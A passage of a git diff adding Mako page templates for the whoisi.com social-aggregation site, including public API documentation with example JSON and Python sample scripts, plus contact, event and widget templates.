+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: APIs</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<h1>API Documentation</h1>
+
+<hr width="60%" align="left">
+
+<ul>
+<li><a href="#overview">Overview</a></li>
+  <ul>
+    <li><a href="#somestuff">Some stuff that applies to all API calls</a></li>
+    <li><a href="#sitetypes">Site Types</a></li>
+  </ul>
+<li><a href="#httpmethods">HTTP Methods</a></li>
+  <ul>
+    <li><a href="#getMaxPersonID">getMaxPersonID</a></li>
+    <li><a href="#getPeople">getPeople</a></li>
+    <li><a href="#getPerson">getPerson</a></li>
+    <li><a href="#getPersonForURL">getPersonForURL</a></li>
+    <li><a href="#getURLForTinyLink">getURLForTinyLink</a></li>
+  </ul>
+<li><a href="#samplescripts">Sample Scripts</a></li>
+  <ul>
+    <li><a href="#dumpentiredatabase">Dump the Entire Person Database</a></li>
+    <li><a href="#dumpsingleperson">Dump a Single Person</a></li>
+    <li><a href="#personforurl">Person for URL</a></li>
+    <li><a href="#tinyurllookup">Info for TinyURL</a></li>
+  </ul>
+</ul>
+
+<hr width="60%" align="left">
+
+<div style="width: 60%">
+
+<a name="overview"><h2>Overview</h2>
+
+<p>
+This document describes the APIs that whoisi offers to the public.
+They are subject to change, of course, but I'll try to keep the
+changes to a minimum.
+</p>
+
+<a name="somestuff"><h3>Some stuff that applies to all API calls:</h3>
+
+<ul>
+<li>All of the methods start with the same URL: <code>http://whoisi.com/api/&lt;method&gt;</code>
+<li>All methods use standard query arguments of name=value pairs.
+<li>You can use a GET or POST request, either will work.
+<li>All APIs return JSON data.
+</ul>
+
+<a name="sitetypes"><h3>Site Types</h3>
+
+<p>
+
+Many of the APIs reference site types.  The current set of distinct
+sites in the database are:
+
+<ul>
+<li>flickr
+<li>picasa
+<li>twitter
+<li>identica
+<li>delicious
+<li>linkedin
+<li>feed
+</ul>
+
+The "feed" site type is a catch-all for everything that doesn't have a
+specific type.  This list will expand in the future to include other
+types so be sure to handle that in your code.
+
+</p>
+
+<hr width="60%" align="left">
+
+<a name="httpmethods"><h2>HTTP Methods</h2>
+
+<a name="getMaxPersonID"><h3><a href="#getMaxPersonID">getMaxPersonID</a></h3>
+
+<p>
+
+<code>getMaxPersonID</code> returns the ID of the highest-number
+person in the database.  This number increases as people are added to
+the database.  This is useful for people who want to pull the person
+database periodically and want to know if new people have been added.
+
+</p>
+
+<h4>Required Arguments</h4>
+
+<p>
+
+<b><code>app</code></b>: Name of the app making the request.
+
+</p>
+
+<h4>Return Value</h4>
+
+<p>
+
+This function will return a JSON object with a dictionary with a
+single key <code>'person_id'</code> with a single integer as the
+value.  Please see the example.
+
+</p>
+
+<h4>Example</h4>
+
+<p>
+
+<code><a href="http://whoisi.com/api/getMaxPersonID?app=example">http://whoisi.com/api/getMaxPersonID?app=example</a></code>
+
+</p>
+
+<p>
+
+Returns this value:
+
+</p>
+
+<p>
+
+<code>
+<pre>
+{"person_id": 4070}
+</pre>
+</code>
+
+</p>
+
+<hr width="60%" align="left">
+
+<a name="getPeople"><h3><a href="#getPeople">getPeople</a></h3>
+
+<p>
+
+<code>getPeople</code> will return up to 100 people from the database
+based on a range given by the API call.  Each person comes with a
+bunch of information about the sites that they have associated with
+them as well.  You can make repeated calls to this API to retreive the
+entire database of people that are listed on whoisi.
+
+</p>
+
+<p>
+
+If you make a request that has larger than 100 people then you will
+get a rather uninformative 500 error.
+
+</p>
+
+<h4>Required Arguments</h4>
+
+<p>
+<b><code>app</code></b>: Name of the app making the request.<br/>
+<b><code>first</code></b>: First ID of the person you want in this request.<br/>
+<b><code>last</code></b>: Last ID of the person you want in this request.<br/>
+</p>
+
+<h4>Return Value</h4>
+
+<p>
+
+This function will return a JSON dictionary with a single value:
+<code>'people'</code>.  This people item is a a dictionary of values
+indexed on the ID of the person.  Please see the example for the
+layout of the data.
+
+</p>
+
+<h4>Example</h4>
+
+<p>
+
+<code><a
+href="http://whoisi.com/api/getPeople?app=example&first=4&last=5">http://whoisi.com/api/getPeople?app=example&first=4&last=5</a></code>
+
+</p>
+
+<code>
+<pre>
+{"people":
+    {"4":
+        {"aliases":
+            ["@moz08", "johnath"],
+         "sites":
+            {"7195":
+                {"feed": null,
+                 "url": "http://www.linkedin.com/in/johnath",
+                 "type": "linkedin",
+                 "title": null},
+             "170":
+                {"feed": "http://twitter.com/statuses/user_timeline/6140482.atom",
+                 "url": "http://twitter.com/johnath",
+                "type": "twitter",
+                "title": "Twitter / johnath"},
+             "3":
+                {"feed": "http://blog.johnath.com/index.php/feed/atom/",
+                "url": "http://blog.johnath.com",
+                "type": "feed",
+                "title": "meandering wildly"},
+             "7196":
+               {"feed": "http://hewitt.controlezvous.ca/johnath/rss",
+                "url": "http://identi.ca/johnath",
+                "type": "identica",    
+                "title": "johnath"},
+             "13":
+               {"feed": "http://api.flickr.com/services/feeds/photos_public.gne?id=23586883@N00&lang=en-us&format=atom",
+                "url": "http://www.flickr.com/photos/johnath/",
+                "type": "flickr",
+                 "title": "Uploads from Johnath"}},
+         "name": "Johnathan Nightingale"},
+     "5":
+        {"aliases":
+            ["@moz08", "linuxnet:shaver", "mozilla:shaver"],
+         "sites":
+            {"564":
+               {"feed": null,
+                "url": "http://www.linkedin.com/pub/0/252/5a2",
+                "type": "linkedin", "title": null},
+            "643":
+               {"feed": "http://twitter.com/statuses/user_timeline/2319611.atom",
+                "url": "http://twitter.com/shaver",
+                "type": "twitter",
+                "title": "Twitter / shaver"},
+             "4":
+               {"feed": "http://shaver.off.net/diary/feed/atom/",
+                "url": "http://shaver.off.net/diary",
+                "type": "feed",
+                "title": "shaver"},
+            "61":
+               {"feed": "http://api.flickr.com/services/feeds/photos_public.gne?id=99971095@N00&lang=en-us&format=atom",
+                "url": "http://www.flickr.com/photos/shvmoz/",
+                "type": "flickr",
+                "title": "Uploads from shvmoz"}},
+         "name": "Mike Shaver"}}}
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="getPerson"><h3><a href="#getPerson">getPerson</a></h3>
+
+<p>
+
+<code>getPerson</code> is the singleton version of <a
+href="#getPeople">getPeople</a> and returns the same data, but in a
+<code>person</code> container instead of a <code>people</code>
+container.
+
+</p>
+
+<h4>Required Arguments</h4>
+
+<p>
+
+<b><code>app</code></b>: Name of the app making the request.<br/>
+<b><code>person</code></b>: The integer identifier for the person on whoisi.
+
+</p>
+
+<h4>Return Value</h4>
+
+<p>
+
+This call will return a JSON object with a single value
+<code>'person'</code> that contains a dictionary for a person.  Please
+see the example for the full structure.
+
+</p>
+
+<h4>Example</h4>
+
+<p>
+
+<code><a href="http://whoisi.com/api/getPerson?app=example&person=1">http://whoisi.com/api/getPerson?app=example&person=1</a></code>
+
+</p>
+
+<p>
+
+Returns this value:
+
+</p>
+
+<code>
+<pre>
+{"person":
+    {"aliases":
+        ["@fisl2008", "@guadec2008", "@moz08", "@oscon2008", "Chris Blizzard",
+         "freenode:blizzard", "gnome:blizzard", "mozilla:blizzard"],
+     "sites":
+        {"2":
+            {"feed": "http://www.0xdeadbeef.com/weblog/?feed=rss2",
+             "url": "http://www.0xdeadbeef.com/weblog",
+            "type": "feed",
+            "title": "Christopher Blizzard"},
+        "5928":
+            {"feed": "http://twitter.com/statuses/user_timeline/15280734.atom",
+            "url": "http://twitter.com/whoisi",
+            "type": "twitter",
+            "title": "Twitter / whoisi"},
+        "6507":
+            {"feed": "http://identi.ca/blizzard/rss",
+             "url": "http://identi.ca/blizzard",
+             "type": "identica",
+             "title": "blizzard"},
+        "12":
+           {"feed": "http://api.flickr.com/services/feeds/photos_public.gne?id=76418115@N00&lang=en-us&format=atom",
+            "url": "http://www.flickr.com/photos/christopherblizzard/",
+            "type":   "flickr",
+            "title ": "Uploads from christopherblizzard"},
+        "51":
+           {"feed": null,
+            "url": "http://www.linkedin.com/in/christopherblizzard",
+            "type": "linkedin",
+            "title": null},
+        "31":
+            {"feed": "http://twitter.com/statuses/user_timeline/12811302.atom",
+            "url": "http://twitter.com/chrisblizzard",
+            "type": "twitter",
+            "title": "Twitter / chrisblizzard"}},
+     "name": "Christopher Blizzard"}}
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="getPersonForURL"><h3><a href="#getPersonForURL">getPersonForURL</a></h3>
+
+<p>
+
+<code>getPersonForURL</code> attempts to return a person object for a
+given URL.  This method isn't very good as it only returns a single
+person and for many common URLs there are multiple problems that this
+method can not handle at this time.
+
+</p>
+
+<p>
+
+Many feeds include as their base link the main website instead of a
+per-user url (reddit, github, others) and this method matches against
+urls as well as feeds.  So your best bet when using this method is to
+try the feed instead of the base url.
+
+</p>
+
+<p>
+
+In addition to that problem this method doesn't do an exhaustive
+search of the possible feed urls that may be related to a site.  For
+example, there may be an Atom feed, RSS 2 feed and an RDF feed all on
+the same site.  This only knows about the feed we're using as the
+source for data.
+
+</p>
+
+<p>
+
+Feedburner URLs also make this somewhat difficult.  In some cases we
+have the original URL listed on the site's page but that just
+redirects to a feedburner URL.  If you search for the feedburner URL
+you will not get a match since we don't keep track of the feedburner
+URL, only the original source for the feed.  The reverse is also true.
+Many people list the feedburner URL and the original feed location
+isn't known.
+
+</p>
+
+<p>
+
+Isn't the internet wonderful?
+
+</p>
+
+<h4>Required Arguments</h4>
+
+<p>
+
+<b><code>app</code></b>: Name of the app making the request.<br/>
+<b><code>url</code></b>: URL that is a feed source or base url for a website.
+
+</p>
+
+<h4>Return Value</h4>
+
+<p>
+
+This call will return a JSON object with a single value
+<code>'person'</code> that contains a dictionary for a person.  Please
+see the example for <a href="#getPerson"><code>getPerson</code></a>
+for an example of the full structure.
+
+</p>
+
+<h4>Example</h4>
+
+<p>
+
+<code><a href="http://whoisi.com/api/getPersonForURL?app=example&url=http://twitter.com/statuses/user_timeline/15280734.atom">http://whoisi.com/api/getPersonForURL?app=example&url=http://twitter.com/statuses/user_timeline/15280734.atom</a></code>
+
+</p>
+
+<p>
+
+This will return the exact same value as found in <a href="#getPerson"><code>getPerson</code></a>
+
+</p>
+
+<hr width="60%" align="left">
+
+<a name="getURLForTinyLink"><h3><a href="#getURLForTinyLink">getURLForTinyLink</a></h3>
+
+<p>
+
+Sick of getting <a href="http://whoisi.com/p/611">rick rolled</a>?
+Yeah, me too.  This method takes a whoisi tiny url and returns the URL
+and a pile of related information about the link.  A whoisi tiny url
+looks like this:
+
+</p>
+
+<p>
+
+<a href="http://whoisi.com/l/107b50"><code>http://whoisi.com/l/107b50</code></a>
+
+</p>
+
+<p>
+
+This is the format:
+
+</p>
+
+<p>
+
+<code>http://whoisi.com/l/&lt;hex number&gt;</code>
+
+</p>
+
+<p>
+
+Note the use of the 'l' which stands for 'link.'
+
+</p>
+
+<h4>Required Arguments</h4>
+
+<p>
+
+<b><code>app</code></b>: Name of the app making the request.<br/>
+<b><code>url</code></b>: Full tinyurl to parse.
+
+</p>
+
+<h4>Return Value</h4>
+
+<p>
+
+This call will return a JSON dictionary object with the keys
+<code>'url'</code>, <code>'title'</code>, <code>'site'</code>,
+<code>'person'</code> and <code>'person_id'</code>.  See the example for
+how everything is laid out.
+
+</p>
+
+<p>
+
+If the url isn't found, it will return a JSON dictionary with a single
+key <code>'url'</code> set to null.
+
+</p>
+
+
+<h4>Example</h4>
+
+<p>
+
+This URL:
+
+</p>
+
+<p>
+
+<a href="http://whoisi.com/api/getURLForTinyLink?app=example&tiny=http://whoisi.com/l/107b50"><code>http://whoisi.com/api/getURLForTinyLink?app=example&tiny=http://whoisi.com/l/107b50</code></a>
+
+</p>
+
+<p>
+
+Returns this value:
+
+</p>
+
+<code>
+<pre>
+{"title": "Nightwish - The Islander",
+ "url": "http://youtube.com/?v=vik1MdsaDX8",
+ "site":
+    {"feed": "http://youtube.com/rss/tag/+RickRoll.rss",
+     "url": "http://youtube.com/rss/tag/+RickRoll.rss",
+     "type": "feed",
+     "id": 1406,
+     "title": "YouTube :: Tag //  RickRoll"},
+ "person":
+    {"611":
+        {"aliases": ["Rick Astley", "rickroll"],
+         "sites":
+            {"1403":
+                {"feed": "http://api.flickr.com/services/feeds/photos_public.gne?tags=rickroll&lang=en-us&format=atom",
+                 "url": "http://www.flickr.com/photos/tags/rickroll/",
+                 "type": "flickr",
+                 "title": "Recent Uploads tagged rickroll"},
+                 "1406":
+                {"feed": "http://youtube.com/rss/tag/+RickRoll.rss",
+                 "url": "http://youtube.com/rss/tag/+RickRoll.rss",
+                 "type": "feed",
+                 "title": "YouTube :: Tag //  RickRoll"}},
+     "name": "Rick Roll"}},
+ "person_id": 611}
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="samplescripts"><h2>Sample Scripts</h2>
+
+<p>
+
+Several example scripts are provided.  Each of them use the HTTP APIs
+above.  They are all written in very simple python.
+
+</p>
+
+<a name="dumpentiredatabase"><h3>Dump the Entire Person Database</h3>
+
+<p>
+
+This script will download the entire person database, 100 people at a
+time as per the limit in the <a href="#getPeople">API docs for
+<code>getPeople</code></a>.
+
+</p>
+
+<p>
+
+You can <a
+href="http://www.0xdeadbeef.com/~blizzard/whoisi/api_examples/whoisi_dump_db.py">download
+this script.</a>
+
+</p>
+
+<hr width="60%" align="left">
+
+<code>
+<pre>
+#!/usr/bin/python
+
+import urllib
+import simplejson
+
+base = 'http://whoisi.com/api/'
+
+def callAPI(endpoint, **kw):
+    arg = None
+    if kw and len(kw):
+        arg = '?' + urllib.urlencode(kw)
+
+    u = urllib.urlopen(base + endpoint + arg)
+    return simplejson.loads(u.read())
+
+# get the max id
+d = callAPI("getMaxPersonID", app="sample")
+max_person_id = d.get("person_id")
+print("max person id: %d" % max_person_id)
+
+# our final list of people
+people = dict()
+
+# break the requests into 100-person segments and get the people for
+# each one
+steps = int(round(max_person_id/100+.9))
+start = 1
+
+for i in range(1, (steps+1)):
+    end = min(i * 100, max_person_id)
+    print("getting %d to %d" % (start, end))
+
+    d = callAPI("getPeople", app="sample", first=start, last=end)
+    p = d.get("people")
+    for k in p.keys():
+        people[int(k)] = p.get(k)
+
+    start += 100
+
+k = people.keys()
+k.sort()
+
+for i in k:
+    p = people.get(i)
+    print("%s - http://whoisi.com/p/%d" % (p.get("name").encode("utf-8"), int(i)))
+    a = p.get("aliases")
+    if len(a):
+        print("  aliases: %s" % a)
+
+    sites = p.get("sites")
+    if len(sites):
+        sk = sites.keys()
+        sk.sort()
+        for j in sk:
+            s = sites.get(j)
+            t = s.get("title")
+            if t:
+                t = str(t.encode("utf-8"))
+            print("  site: %s" % t)
+            print("    type: %s" % s.get("type"))
+            print("    url: %s" % s.get("url"))
+            print("    feed: %s" % s.get("feed"))
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="dumpsingleperson"><h3>Dump a Single Person</h3>
+
+<p>
+
+This script will dump a single person using the <a
+href="#getPerson"><code>getPerson</code></a> API.
+
+</p>
+
+<p>
+
+You can <a
+href="http://www.0xdeadbeef.com/~blizzard/whoisi/api_examples/whoisi_dump_person.py">donload
+this script.</a>
+
+</p>
+
+<code>
+<pre>
+#!/usr/bin/python
+
+import urllib
+import simplejson
+import sys
+
+person_id = 1
+if len(sys.argv) > 1:
+    person_id = int(sys.argv[1])
+
+base = 'http://whoisi.com/api/'
+
+def callAPI(endpoint, **kw):
+    arg = None
+    if kw and len(kw):
+        arg = '?' + urllib.urlencode(kw)
+
+    u = urllib.urlopen(base + endpoint + arg)
+    return simplejson.loads(u.read())
+
+# get the max id
+d = callAPI("getPerson", app="sample", person=person_id)
+p = d.get("person")
+
+print("%s - http://whoisi.com/p/%d" % (p.get("name"), person_id))
+a = p.get("aliases")
+if len(a):
+    print("  aliases: %s" % a)
+
+sites = p.get("sites")
+if len(sites):
+    sk = sites.keys()
+    sk.sort()
+    for j in sk:
+        s = sites.get(j)
+        print("  site: %s" % s.get("title"))
+        print("    type: %s" % s.get("type"))
+        print("    url: %s" % s.get("url"))
+        print("    feed: %s" % s.get("feed"))
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="personforurl"><h3>Person for URL</h3>
+
+<p>
+
+This script will get a person for a url using the <a
+href="#getPersonForURL"><code>getPersonForURL</code></a> API call.
+
+</p>
+
+<p>
+
+You can <a
+href="http://www.0xdeadbeef.com/~blizzard/whoisi/api_examples/whoisi_url_lookup.py">download
+this script.</a>
+
+</p>
+
+<code>
+<pre>
+#!/usr/bin/python
+
+import urllib
+import simplejson
+
+base = 'http://whoisi.com/api/'
+
+def callAPI(endpoint, **kw):
+    arg = None
+    if kw and len(kw):
+        arg = '?' + urllib.urlencode(kw)
+
+    u = urllib.urlopen(base + endpoint + arg)
+    return simplejson.loads(u.read())
+
+# get the person for a url
+d = callAPI("getPersonForURL", app="sample",
+            url="http://www.0xdeadbeef.com/weblog/")
+print d
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+<a name="tinyurllookup"><h3>Info for TinyURL</h3>
+
+<p>
+
+This script will get information for a specific tinyurl that you might
+see on a web page somewhere.
+
+</p>
+
+<p>
+
+You can <a
+href="http://www.0xdeadbeef.com/~blizzard/whoisi/api_examples/whoisi_tiny_link_lookup.py">download
+this script.</a>
+
+</p>
+
+<code>
+<pre>
+#!/usr/bin/python
+
+import urllib
+import simplejson
+
+base = 'http://whoisi.com/api/'
+
+def callAPI(endpoint, **kw):
+    arg = None
+    if kw and len(kw):
+        arg = '?' + urllib.urlencode(kw)
+
+    u = urllib.urlopen(base + endpoint + arg)
+    return simplejson.loads(u.read())
+
+# get the person for a url
+d = callAPI("getURLForTinyLink", app="sample",
+            tiny="http://whoisi.com/l/136ca")
+
+print d
+</pre>
+</code>
+
+<hr width="60%" align="left">
+
+</div>
diff --git a/whoisi/templates/contact.mak b/whoisi/templates/contact.mak
new file mode 100644 (file)
index 0000000..3047283
--- /dev/null
@@ -0,0 +1,50 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">whoisi.com: Contact information.</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<h1>Contact Information</h1>
+
+<p>
+The main creator and contact for this site is Christopher Blizzard
+&lt;<a href="mailto:blizzard@whoisi.com">blizzard@whoisi.com</a>&gt;.
+If you've got questions, concerns, comments or anything else feel free
+to drop Chris a line.
+</p>
+
+<p>
+
+If you're worried because you've found objectional content on this
+site (spammers, adult material, other) feel free to remove it.  This
+is a public resource and it's up to everyone to take part in keeping
+it clean.  You don't need to ask permission to do it.  Just go ahead
+and fix it.  <a href="/about">That's how it was designed</a>.
+
+</p>
diff --git a/whoisi/templates/delicious-widget.mak b/whoisi/templates/delicious-widget.mak
new file mode 100644 (file)
index 0000000..28c1395
--- /dev/null
@@ -0,0 +1,109 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%!
+from whoisi.utils.follow import is_following_person
+from whoisi.utils.display import confirm_escape, short_link_ref
+from whoisi.summary import SummaryCreator
+%>
+
+<%def name="delicious_widget(site, site_history, display)">
+
+<%
+_untitled = "<i>Untitled</i>"
+
+entries = site_history
+count = len(entries)
+
+if site.title:
+  x_title=confirm_escape(site.title)
+else:
+  x_title=_untitled
+%>
+
+<div class="link-collection-item" site-id="${site.id}">
+<img src="/static/images/sites/delicious.png"/>
+%if display == "time" or display == "follow":
+<a href="/p/${site.personID}">${site.person.name | h}</a>:
+%endif
+<a href="${site.url}">${x_title}</a>
+
+<span class="link-action">
+%if display == "edit":
+&nbsp;&nbsp;<a site-id="${site.id}" class="site-remove" href="">Remove</a>
+%endif
+%if display == "time":
+  %if is_following_person(site.personID):
+  &nbsp;&nbsp;<a class="person-unfollow" person-id="${site.personID}" href="#">Stop Following</a>
+  %else:
+  &nbsp;&nbsp;<a class="person-follow" person-id="${site.personID}" href="#">Follow Person</a>
+  %endif
+%endif
+</span>
+
+%for i in range(0, count):
+<%
+entry = entries[i]
+if entry.title:
+  l_title = confirm_escape(entry.title)
+else:
+  l_title = _untitled
+%>
+
+<div class="weblog-entry">
+<a target="_blank" class="weblog-summary" href="${entry.link}">${l_title}</a>&nbsp;&nbsp;
+<span class="timestamp">
+%if display == "preview":
+<a class="short-link" href="${entry.link}">${entry.getAge()}</a>
+%else:
+<a class="short-link" href="${short_link_ref(entry.id)}">${entry.getAge()}</a>
+%endif
+</span>
+<br/>
+%if display == "full":
+<% entry_text = entry.getText() %>
+  %if entry_text:
+    <div class="delicious-summary">
+    <%
+    sc = SummaryCreator()
+    sc.feed(entry_text)
+    se, had_more_text = sc.output()
+    %>
+    ${se}
+    %if has_more_text:
+      <div><a class="weblog-summary" target="_blank" href="${entry.link}">More...</a></div>
+    %endif ## has_more_text
+    </div>
+  %endif ## entry_text
+%endif ## display == full
+
+</div> <!-- weblog-entry -->
+
+%endfor
+
+</div> <!-- link-collection-item -->
+
+</%def>
+
+${delicious_widget(site=site, site_history=site_history, display=display)}
diff --git a/whoisi/templates/event.mak b/whoisi/templates/event.mak
new file mode 100644 (file)
index 0000000..d82f9d0
--- /dev/null
@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">${event_name} on whoisi.com</%def>
+<%def name="get_extra_js()">
+<script src="/static/javascript/follow.js" type="text/javascript"></script>
+</%def>
+<%namespace file="twitter-widget.mak" import="twitter_widget"/>
+<%namespace file="identica-widget.mak" import="identica_widget"/>
+<%namespace file="weblog-widget.mak" import="weblog_widget"/>
+<%namespace file="flickr-widget.mak" import="flickr_widget"/>
+<%namespace file="picasa-widget.mak" import="picasa_widget"/>
+<%namespace file="delicious-widget.mak" import="delicious_widget"/>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+%if banner:
+<p>
+${banner}
+</p>
+%endif
+
+<p>
+<b><a href="/e/${event|u}">Activity Stream for everyone at ${event_name}</a></b><br/>
+<span class="link-action"><a href="/search?search=${u'@' + event|u}">See who is at this event</a></span> | 
+<span class="link-action"><a href="/events">Add someone to this event</a></span>
+</p>
+
+<hr align="left" width="40%"/>
+
+%for cluster in clusters:
+<% site = cluster[0].site %>
+
+%if site.type == "twitter":
+${twitter_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "identica":
+${identica_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "feed":
+${weblog_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "flickr":
+${flickr_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "delicious":
+${delicious_widget(site=site, site_history=cluster, display="time")}
+%elif site.type == "picasa":
+${picasa_widget(site=site, site_history=cluster, display="time")}
+%endif
+
+%endfor
+
+<div>
+<%
+# find the lowest value id from all the clusters
+import sys
+min_id = sys.maxint
+for c in clusters:
+    for i in c:
+        min_id = min(min_id, i.id)
+%>
+<a href="/e/${event|u}?start=${min_id}">More...</a>
+</div>
diff --git a/whoisi/templates/events.mak b/whoisi/templates/events.mak
new file mode 100644 (file)
index 0000000..f59827e
--- /dev/null
@@ -0,0 +1,115 @@
+# -*- coding: utf-8 -*-
+
+## Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+##
+## Permission is hereby granted, free of charge, to any person
+## obtaining a copy of this software and associated documentation files
+## (the "Software"), to deal in the Software without restriction,
+## including without limitation the rights to use, copy, modify, merge,
+## publish, distribute, sublicense, and/or sell copies of the Software,
+## and to permit persons to whom the Software is furnished to do so,
+## subject to the following conditions:
+##
+## The above copyright notice and this permission notice shall be
+## included in all copies or substantial portions of the Software.
+##
+## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+## EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+## MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+## NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+## BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+## ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+## CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+## SOFTWARE.
+
+<%def name="get_page_title()">Events on whoisi.com</%def>
+
+<%inherit file="master.mak"/>
+
+<%include file="search-widget.mak"/>
+
+<br/>
+
+<h1>Events on whoisi.com</h1>
+
+<hr width="60%" align="left">
+
+%if events.count():
+<h2>Currently Featured Events</h2>
+
+<ul>
+%for i in events:
+    <li><a href="/e/${i.name}">${i.full_name}</a> (tag is <a href="/search?search=${u'@' + i.name|u}">@${i.name}</a>)</li>
+%endfor
+</ul>
+
+<hr width="60%" align="left">
+
+%endif
+
+<h2>Going to be at one of these events?</h2>
+
+<p>
+If you were at one of these events, or you will be at an upcoming
+event, it's easy to add yourself.  That way other people searching
+later can see who was at an event or who is attending an upcoming
+event.
+</p>
+
+<h2>How do I add myself or someone else?</h2>
+
+<p>
+The first step is to make sure that you or the person you're looking
+for is listed on whoisi.  You can search with the search box at the
+top of this page or you can search from the <a href="/">home page</a>.
+If you're not listed on the site it's very easy
+to <a href="/addform">add someone</a>.
+</p>
+
+<p>
+Once you've added yourself there's a link to the right of your name
+that says "Edit".  Click on that.
+</p>
+
+<p>
+<img src="/static/images/event/edit-link-arrow.png"/>
+</p>
+
+<p>
+Then click on the link that says "Add an Alias".
+</p>
+
+<p>
+<img src="/static/images/event/alias-link-arrow.png"/>
+</p>
+
+<p>
+As an alias add the tag listed above for your particular event.  So,
+for example, for OSCON 2008 I would add "@oscon2008" - as in "I will
+be at OSCON 2008."
+</p>
+
+<p>
+<img src="/static/images/event/add-tag-arrow.png"/>
+</p>
+
+<h2>And you're done!</h2>
+
+<p>
+You can either <a href="/">search</a> using the tag to see who else is
+going to be at the event or you can follow their stream from the event
+link at the top of this page.
+</p>
+
+<p>
+For example, if I were searching OSCON 2008 participants I could
+search for <a href="/search?search=%40oscon2008">@oscon2008</a> or I
